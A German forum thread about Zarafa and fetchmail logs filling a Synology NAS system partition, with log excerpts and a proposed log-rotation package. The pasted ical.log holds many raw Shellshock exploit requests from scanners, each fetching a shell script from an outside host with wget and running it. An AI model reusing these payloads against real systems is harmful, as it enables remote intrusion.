Zarafa und Fetchmail überfüllen Systempartition

[mboh]

Hallo,
in einem anderen Thema Habe ich versucht herauszufinden warumm meine Systempartition voll ist.
Dies waren die Ergebnisse der Befehle

df -k

sowie

du -hs /var/log
und 
ls -l /var/log

im ersten Bild ist bei Zarafa-licensed/var irgendwas recht voll
im zweiten bei den Logdateien das fetchmail

Einfach das Fetchmeil im Log leeren traue ich mich nicht und bin ich als Anfänger ohne Tipps auch nicht so geübt.
Was passiert wenn die Weg sind? ich will micht dass irgend welche Mails aus der Mailstation und Zarafa verloren gehen.
Ändert sich Sonst da irgendwas?

kann Fetchmail sich nicht automatisch leeren oder bei XX MB an Logdateien die ältesten Automatisch Entfernen?
ggf könnte man auch die Daten nicht auf der System-Partition sondern auf einem Daten-Volume zu speichern?

Was könnte ich allgemein so ändern dass ich OHNE irgendwie groß was neu installieren zu müssen die Speicherproblematik bei Zarafa und Fetchmail in Griff bekomme?

nicht Das bei jedem Update wieder irgendwas kontrolliert werden muss.
Was kann ich da machen?
DANKE

 

[Hispeed]

Ich bin leider auch nicht der Profi aber ich würde mal sagen dass etwas mit der Installation nicht stimmt, denn Fetchmails log habe ich nach meinem Wissen nur ca. 1 Monat lang.
Startest du die DSM ab und zu neu inkl. aller Pakete?

 

[mboh]

Ich kenn mich Da nicht so aus,
Neustart über den DSM hab ich erst nach dem letzten DSM gemacht und danach seit november noch 3-4 mal zwecks Updates von dem Z-Pull Vmail da ich seit dem DSM 5.1 brauchte um wieder auf meine Outlooks zugreifen zu können.
Diese Updates haben auch die POP Sammler von der Mailstation teilweise nicht neu gestartet, nach Neustart lief wieder alles.
Habe eben auch Zarafa, Mailstation und alles mit Mail &Co übers Paket Zentrum Deaktiviert und wieder eingeschaltet.
Weis nicht ob das so EDV Technisch auch als Neustart zählt aber gehofft habe ich es.
Die ganze Fetchmail Log aus den Zarafaeinstellungen wollte ich jetzt hier nicht psten da das VIEEEle Zeilen sind.
Vielleicht kann man ja mit dem Z-Pull Vmail zusätzlich zu den OutlookLizenzBug irgendwas auch für Anfänger so konfigurieren Dass man nicht unbedingt Putty bzw Linux Ass sein muss, Aber zur not ein Wenig mit Unterstützung geht inzwischen auch LInux ;-)

 

[mboh]

Zarafa Logs

in der Hoffnung dass es Nicht zu viel wird, (die letzten 2 Tage)
die Server.log

Sat Dec 27 12:49:27 2014: Shutting down.
Sat Dec 27 12:49:27 2014: Still waiting for 8 threads to exit
Sat Dec 27 12:49:29 2014: Server shutdown complete.
Sat Dec 27 12:56:59 2014: Starting zarafa-server version 7,1,8,44004, pid 17107
Sat Dec 27 12:56:59 2014: Listening for priority pipe connections on /var/run/zarafa-prio
Sat Dec 27 12:56:59 2014: Listening for pipe connections on /var/run/zarafa
Sat Dec 27 12:56:59 2014: Listening for TCP connections on port 236
Sat Dec 27 12:56:59 2014: Connection to database 'zarafa' succeeded
Sat Dec 27 12:56:59 2014: zarafa-licensed is running, but no license key was found. Not all commercial features will be available.
Sat Dec 27 12:57:02 2014: Loading searchfolders
Sat Dec 27 12:57:03 2014: Startup succeeded on pid 17112

die spooler.log

Fri Dec 26 18:02:41 2014: [23930] Sending e-mail for user XX, subject: 'XX', size: 2651
Fri Dec 26 18:02:41 2014: [23930] Sending message with Message-ID: zarafa.549d94b1.5d7a.2a5cab160dc97b68@XX
Fri Dec 26 18:02:41 2014: [23930] SMTP: 2.0.0 Ok: queued as 9CD821981A20
Fri Dec 26 18:02:41 2014: [23930] E-mail for user XX was accepted by SMTP server
Sat Dec 27 12:49:27 2014: [13910] Still waiting for 0 threads to exit.
Sat Dec 27 12:49:27 2014: [13910] Spooler shutdown complete
Sat Dec 27 12:56:59 2014: [17123] Starting zarafa-spooler version 7,1,8,44004 (44004), pid 17123
Sat Dec 27 12:57:00 2014: [17123] Using SMTP server: localhost, port 25
Sat Dec 27 12:57:03 2014: [17123] Connection to Zarafa server succeeded

die License.log

Sat Dec 27 11:56:58 2014: ZCP serial in '/etc/zarafa/license' is invalid. Assuming default 3-user license
Sat Dec 27 11:56:58 2014: ZCP license for 3 Win32 MAPI users
Sat Dec 27 11:56:58 2014: Starting zarafa-licensed version 7,1,2,39121 (39121), pid 17102

die ical.log

Fri Dec 26 19:50:23 2014: [29657] 121.210.244.13 - - [26/Dec/2014:19:50:23 +0100] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 401 0 "-" "() { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../php && /usr/bin/wget -c http://185.14.30.79/S0.sh -P /tmp && /bin/sh /tmp/S0.sh 0<&1 2>&1 "
Fri Dec 26 22:01:35 2014: [ 4156] 212.6.178.75 - - [26/Dec/2014:22:01:35 +0100] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 401 0 "-" "() { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../ && /usr/bin/wget -c http://qupn.byethost5.com/gH/S0.sh -P /tmp && /bin/sh /tmp/S0.sh 0<&1 2>&1 "
Fri Dec 26 22:32:02 2014: [ 5768] 5.144.62.229 - - [26/Dec/2014:22:32:02 +0100] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 401 0 "-" "() { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../ && /usr/bin/wget -c http://qupn.byethost5.com/gH/S0.sh -P /tmp && /bin/sh /tmp/S0.sh 0<&1 2>&1 "
Sat Dec 27 01:06:12 2014: [14011] 95.109.126.197 - - [27/Dec/2014:01:06:12 +0100] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 401 0 "-" "() { :; }; /bin/rm -rf /tmp/io.php && /bin/mkdir -p /share/HDB_DATA/.../ && /usr/bin/wget -q -c http://nyo2k2.altervista.org/io.php -P /tmp && /bin/rm /tmp/io.php 0<&1 2>&1 "
Sat Dec 27 01:33:02 2014: [15481] 211.220.63.107 - - [27/Dec/2014:01:33:02 +0100] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 401 0 "-" "() { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../php && /usr/bin/wget -c http://185.14.30.79/S0.sh -P /tmp && /bin/sh /tmp/S0.sh 0<&1 2>&1 "
Sat Dec 27 01:45:10 2014: [16103] 202.76.176.48 - - [27/Dec/2014:01:45:10 +0100] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 401 0 "-" "() { :; }; /bin/rm -rf /tmp/S0.php /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../ && /usr/bin/wget -c http://x3q.altervista.org/gH/S0.php -O /tmp/S0.sh && /bin/sh /tmp/S0.sh && sh S0.php 0<&1 2>&1 & "
Sat Dec 27 02:11:31 2014: [17498] 78.227.104.170 - - [27/Dec/2014:02:11:31 +0100] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 401 0 "-" "() { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../php && /usr/bin/wget -c http://185.14.30.79/S0.sh -P /tmp && /bin/sh /tmp/S0.sh 0<&1 2>&1 "
Sat Dec 27 02:24:25 2014: [18169] 83.215.56.108 - - [27/Dec/2014:02:24:25 +0100] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 401 0 "-" "() { :; }; /bin/rm -rf /tmp/S0.php && /bin/mkdir -p /share/HDB_DATA/.../ && /usr/bin/wget -c http://192.192.78.216:9090/gH/S0.php -O /tmp/S0.sh && /bin/sh /tmp/S0.sh 0<&1 2>&1 "
Sat Dec 27 03:18:36 2014: [20943] 81.217.81.225 - - [27/Dec/2014:03:18:36 +0100] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 401 0 "-" "() { :; }; /bin/rm -rf /tmp/S0.php && /bin/mkdir -p /share/HDB_DATA/.../ && /usr/bin/wget -c http://192.192.78.216:9090/gH/S0.php -O /tmp/S0.sh && /bin/sh /tmp/S0.sh 0<&1 2>&1 "
Sat Dec 27 03:20:01 2014: [21015] 182.254.220.58 - - [27/Dec/2014:03:20:01 +0100] "GET http://www.ly.com/ HTTP/1.1" 401 0 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0"
Sat Dec 27 03:33:40 2014: [21723] 62.20.69.115 - - [27/Dec/2014:03:33:40 +0100] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 401 0 "-" "() { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../php && /usr/bin/wget -c http://185.14.30.79/S0.sh -P /tmp && /bin/sh /tmp/S0.sh 0<&1 2>&1 "
Sat Dec 27 04:31:49 2014: [24709] 221.209.110.2 - - [27/Dec/2014:04:31:49 +0100] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 401 0 "-" "() { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../php && /usr/bin/wget -c http://185.14.30.79/S0.sh -P /tmp && /bin/sh /tmp/S0.sh 0<&1 2>&1 "
Sat Dec 27 05:26:05 2014: [27483] 211.131.185.182 - - [27/Dec/2014:05:26:05 +0100] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 401 0 "-" "() { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../php && /usr/bin/wget -c http://185.14.30.79/S0.sh -P /tmp && /bin/sh /tmp/S0.sh 0<&1 2>&1 "
Sat Dec 27 06:25:34 2014: [30583] 150.101.112.130 - - [27/Dec/2014:06:25:34 +0100] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 401 0 "-" "() { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../ && /usr/bin/wget -c http://qupn.byethost5.com/gH/S0.sh -P /tmp && /bin/sh /tmp/S0.sh 0<&1 2>&1 "
Sat Dec 27 07:34:02 2014: [ 1736] 114.35.123.169 - - [27/Dec/2014:07:34:02 +0100] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 401 0 "-" "() { :; }; /bin/rm -rf /tmp/S0.php /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../ && /usr/bin/wget -c http://x3q.altervista.org/gH/S0.php -O /tmp/S0.sh && /bin/sh /tmp/S0.sh && sh S0.php 0<&1 2>&1 & "
Sat Dec 27 07:41:41 2014: [ 2150] 90.25.189.169 - - [27/Dec/2014:07:41:41 +0100] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 401 0 "-" "() { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../ && /usr/bin/wget -c http://qupn.byethost5.com/gH/S0.sh -P /tmp && /bin/sh /tmp/S0.sh 0<&1 2>&1 "
Sat Dec 27 10:19:49 2014: [11362] 220.215.130.186 - - [27/Dec/2014:10:19:49 +0100] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 401 0 "-" "() { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../php && /usr/bin/wget -c http://185.14.30.79/S0.sh -P /tmp && /bin/sh /tmp/S0.sh 0<&1 2>&1 "
Sat Dec 27 10:19:57 2014: [11369] 221.132.134.35 - - [27/Dec/2014:10:19:57 +0100] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 401 0 "-" "() { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../php && /usr/bin/wget -c http://185.14.30.79/S0.sh -P /tmp && /bin/sh /tmp/S0.sh 0<&1 2>&1 "
Sat Dec 27 11:09:57 2014: [14297] 85.244.43.90 - - [27/Dec/2014:11:09:57 +0100] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 401 0 "-" "() { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../php && /usr/bin/wget -c http://185.14.30.79/S0.sh -P /tmp && /bin/sh /tmp/S0.sh 0<&1 2>&1 "
Sat Dec 27 11:52:31 2014: [17283] 103.226.93.58 - - [27/Dec/2014:11:52:31 +0100] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 401 0 "-" "() { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../php && /usr/bin/wget -c http://185.14.30.79/S0.sh -P /tmp && /bin/sh /tmp/S0.sh 0<&1 2>&1 "
Sat Dec 27 12:23:09 2014: [19188] 122.133.247.136 - - [27/Dec/2014:12:23:09 +0100] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 401 0 "-" "() { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../php && /usr/bin/wget -c http://185.14.30.79/S0.sh -P /tmp && /bin/sh /tmp/S0.sh 0<&1 2>&1 "
Sat Dec 27 12:40:58 2014: [21731] 123.224.212.224 - - [27/Dec/2014:12:40:58 +0100] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 401 0 "-" "() { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../php && /usr/bin/wget -c http://185.14.30.79/S0.sh -P /tmp && /bin/sh /tmp/S0.sh 0<&1 2>&1 "
Sat Dec 27 12:49:27 2014: [13945] CalDAV Gateway will now exit
Sat Dec 27 12:49:27 2014: [13945] CalDAV Gateway shutdown complete
Sat Dec 27 12:57:00 2014: Listening on port 8080.
Sat Dec 27 12:57:00 2014: [17147] Starting zarafa-ical version 7,1,8,44004 (44004), pid 17147
Sat Dec 27 13:01:49 2014: [21119] 80.57.191.160 - - [27/Dec/2014:13:01:49 +0100] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 401 0 "-" "() { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../php && /usr/bin/wget -c http://185.14.30.79/S0.sh -P /tmp && /bin/sh /tmp/S0.sh 0<&1 2>&1 "

 

[mboh]

die gateway.log

Sun Dec 21 17:47:41 2014: [13992] POP3/IMAP Gateway will now exit
Sun Dec 21 17:47:57 2014: SSL CTX certificate file error: error:02001002:system library:fopen:No such file or directory
Sun Dec 21 17:47:57 2014: Error loading SSL context, POP3S and IMAPS will be disabled
Sun Dec 21 17:47:57 2014: [ 9297] Starting zarafa-gateway version 7,1,8,44004 (44004), pid 9297
Sun Dec 21 18:12:51 2014: [ 9297] POP3/IMAP Gateway will now exit
Sun Dec 21 18:16:56 2014: SSL CTX certificate file error: error:02001002:system library:fopen:No such file or directory
Sun Dec 21 18:16:56 2014: Error loading SSL context, POP3S and IMAPS will be disabled
Sun Dec 21 18:16:56 2014: [13925] Starting zarafa-gateway version 7,1,8,44004 (44004), pid 13925
Sat Dec 27 12:49:27 2014: [13925] POP3/IMAP Gateway will now exit
Sat Dec 27 12:57:00 2014: SSL CTX certificate file error: error:02001002:system library:fopen:No such file or directory
Sat Dec 27 12:57:00 2014: Error loading SSL context, POP3S and IMAPS will be disabled
Sat Dec 27 12:57:00 2014: [17133] Starting zarafa-gateway version 7,1,8,44004 (44004), pid 17133

die Search.log

Thu Dec 25 02:00:00 2014: [0xeee71b70] Starting to cleanup and optimize index files
Thu Dec 25 02:00:00 2014: [0xeee71b70] Stopping index optimization
Fri Dec 26 02:00:04 2014: [0xeee71b70] Starting to cleanup and optimize index files
Fri Dec 26 02:00:04 2014: [0xeee71b70] Stopping index optimization
Sat Dec 27 02:00:03 2014: [0xeee71b70] Starting to cleanup and optimize index files
Sat Dec 27 02:00:03 2014: [0xeee71b70] Stopping index optimization
Sat Dec 27 12:49:27 2014: [0xf55ae6d0] Termination requested, shutting down.
Sat Dec 27 12:49:27 2014: [0xf55ae6d0] Stopping Zarafa search...
Sat Dec 27 12:57:00 2014: [0xf55876d0] Starting zarafa-search version 7,1,8,44004 (44004), pid 17166
Sat Dec 27 13:02:14 2014: [0xeee4ab70] Search thread started

und ein Teil der fetchmail.log

fetchmail: reading message XXXX:6 of 6 (99678 octets) flushed
fetchmail: Server certificate verification error: unable to get local issuer certificate
fetchmail: Broken certification chain at: /C=DE/ST=Deutschland/L=XX/O=XX/OU=---/CN=XX/emailAddress=XX@XX.com
fetchmail: This could mean that the server did not provide the intermediate CA's certificate(s), which is nothing fetchmail could do anything about. For details, please see the README.SSL-SERVER document that ships with fetchmail.
fetchmail: This could mean that the root CA's signing certificate is not in the trusted CA certificate location, or that c_rehash needs to be run on the certificate directory. For details, please see the documentation of --sslcertpath and --sslcertfile in the manual page.
fetchmail: Server certificate verification error: certificate not trusted
fetchmail: Server certificate verification error: unable to verify the first certificate
fetchmail: Warning: the connection is insecure, continuing anyways. (Better use --sslcertck!)
fetchmail: 1 message for XX at 192.168.161.9 (6656 octets).
fetchmail: reading message XX@192.168.161.9:1 of 1 (6656 octets) (log message incomplete)
fetchmail: incorrect header line found - see manpage for bad-header option
fetchmail: not flushed
fetchmail: Server certificate verification error: unable to get local issuer certificate
fetchmail: Broken certification chain at: /C=DE/ST=Deutschland/L=XX/O=XX/OU=---/CN=XX.com/emailAddress=XX@XX.com
fetchmail: This could mean that the server did not provide the intermediate CA's certificate(s), which is nothing fetchmail could do anything about. For details, please see the README.SSL-SERVER document that ships with fetchmail.
fetchmail: This could mean that the root CA's signing certificate is not in the trusted CA certificate location, or that c_rehash needs to be run on the certificate directory. For details, please see the documentation of --sslcertpath and --sslcertfile in the manual page.
fetchmail: Server certificate verification error: certificate not trusted
fetchmail: Server certificate verification error: unable to verify the first certificate
fetchmail: Warning: the connection is insecure, continuing anyways. (Better use --sslcertck!)
fetchmail: 1 message for XX at 192.168.161.9 (6656 octets).
fetchmail: reading message XX@192.168.161.9:1 of 1 (6656 octets) (log message incomplete)
fetchmail: incorrect header line found - see manpage for bad-header option
fetchmail: not flushed
fetchmail: Server certificate verification error: unable to get local issuer certificate
fetchmail: Broken certification chain at: /C=DE/ST=Deutschland/L=XX/O=XX/OU=---/CN=XX.com/emailAddress=XX@XX.com
fetchmail: This could mean that the server did not provide the intermediate CA's certificate(s), which is nothing fetchmail could do anything about. For details, please see the README.SSL-SERVER document that ships with fetchmail.
fetchmail: This could mean that the root CA's signing certificate is not in the trusted CA certificate location, or that c_rehash needs to be run on the certificate directory. For details, please see the documentation of --sslcertpath and --sslcertfile in the manual page.
fetchmail: Server certificate verification error: certificate not trusted
fetchmail: Server certificate verification error: unable to verify the first certificate
fetchmail: Warning: the connection is insecure, continuing anyways. (Better use --sslcertck!)
fetchmail: 1 message for XX at 192.168.161.9 (6656 octets).
fetchmail: reading message XX@192.168.161.9:1 of 1 (6656 octets) (log message incomplete)
fetchmail: incorrect header line found - see manpage for bad-header option
fetchmail: not flushed

Vielleicht hilft das ja jemanden.

Danke schon mal

 

[Tosoboso]

Hi, schau mal hier, ich arbeite bereits daran das per Paket zu lösen (v1.0 Feature): http://www.synology-forum.de/showth...g-in-Zarafa-(re)aktivieren-Z-Pull-Vmail/page7 (siehe auch Historie und andere Features).
Die Zarafa Logs liegen in der Systempartition (2,3GB) und können mit dr Zeit sehr gross werden (50%+ der Partition) vor allem fetchmail und postfix dagent.log wachsen mit jeder Mail. Das gehört weg archiviert nach vol-1 und auf 0 getrimmt. So etwas wie 'rotate-log'.. Die Lösung wird ein Cron-Job mit Archivieren und trim / auf 0 setzten ab 5MB Log Grösse mit Anzeigen der archivierten Logs. Stay tuned...

 

[dil88]

Klasse, schöne Sache, Tosoboso!

 

[Tosoboso]

Gerne und so was sollte man Paketieren und Testen statt Alle auf die Kommandozeile los zulassen. Bin aber noch am Testen der Version und geb es dann per Beta auf cphub.net frei. Aus fetchmail Group-Ownership maild lese ich auch heraus, dass mboh bereits mein Paket verwendet und fetchmail Nicht als root, sonder unter vmail User fährt; gut..

PS: Deine Lösung mit Erhalten des File-Handle im anderen Post habe ich sehr wohl gelesen und bei der Implementierung berücksichtigt..

 

[mboh]

Hmm

bereits mein Paket verwendet und fetchmail Nicht als root, sonder unter vmail User fährt; gut..

ehrlich gesagt habe ich von dem z-Pull-Vmail nur die Komponete mit dem Outlook gewählt, da ich die ganzen Sachen mit Fetchmail mangels an Hintergrundinfos nicht so wusste was für mich interessant ist da mein Mailserver mit Kalender etc per Zarafa (1Nutzer) und meine Mailstation nur als Mailclient von 2 Nutzern eigentlich samt Relay in meinen Augen vermeintlich funktionierte.
Klar wäre in Zarafa noch ein Multiuser versenden und so weiter schön aber was wie da genau lieber so ein laufendes System
Danke für Die Unterstützung, in Erwartung auf die V1.0

 

[Hispeed]

Tosoboso dass muss ich wohl auch mal genauer anschauen wenn das alles so ist. Weil dann habe ich wohl auch Massenweise logs . Nur merke ich es wohl nicht weil ich eine RS3412XS habe?!?
Aber das was du vor hast, hört sich soweit gut an.

 

[Tosoboso]

Hi Hispeed,
Die Systempartition ist m.w. auf jeder Synology gleich gross (2.3GB) und du wirst es früher, oder später merken.. Ich selbst war erstaunt, wie gross meine Postfix dagent log nach 2+ Jahren geworden ist. Aber fetchmail wird signifikant grösser, wenn man mehrere Accounts hat (bei mir nicht da fetchmail nur nice to have..). Daher die geplante Erweiterung mit Trim, Archivierung. - Mach mal <ls -lah /var/log/fetchmail /var/log/zarafa/dagent.log>, es werden MB oder GB sein..

 

[Tosoboso]

Danke für Die Unterstützung, in Erwartung auf die V1.0

Die v.1.0 ist nun auf dem Weg, also bei www.cphub.net hochgeladen; sollte die nächsten Tage verfügbar sein (durchläuft immer erst Basis-Tests und wird signiert)..

 

[Tosoboso]

Danke für Die Unterstützung, in Erwartung auf die V1.0

Hi mboh, die v.1.0 ist seit Gestern auf www.cphub.net on-line. Als Beta, aber diese Version kannst du schon nutzen und in 1-2 Tagen geb ich v1.0 Stable raus.
Da ist auch ein Patch für fetchmail unter vmail user drin bzgl. dem su Kommando und dem neusten DSM Update (der da etwas deaktivert hat..).

 

[Tosoboso]

Tosoboso dass muss ich wohl auch mal genauer anschauen wenn das alles so ist. Weil dann habe ich wohl auch Massenweise logs .

Na Highspeed, schon die v.1.0 meines Z-Pull-Vmail Pakets installiert mit Log-Bereinigen und in das Paket Log geschaut? Ich wette du kommst auf 500+ MB oder sogar GB (bei mir waren es 400+MB bei wenig Fetchmail Betrieb über 2 Jahre..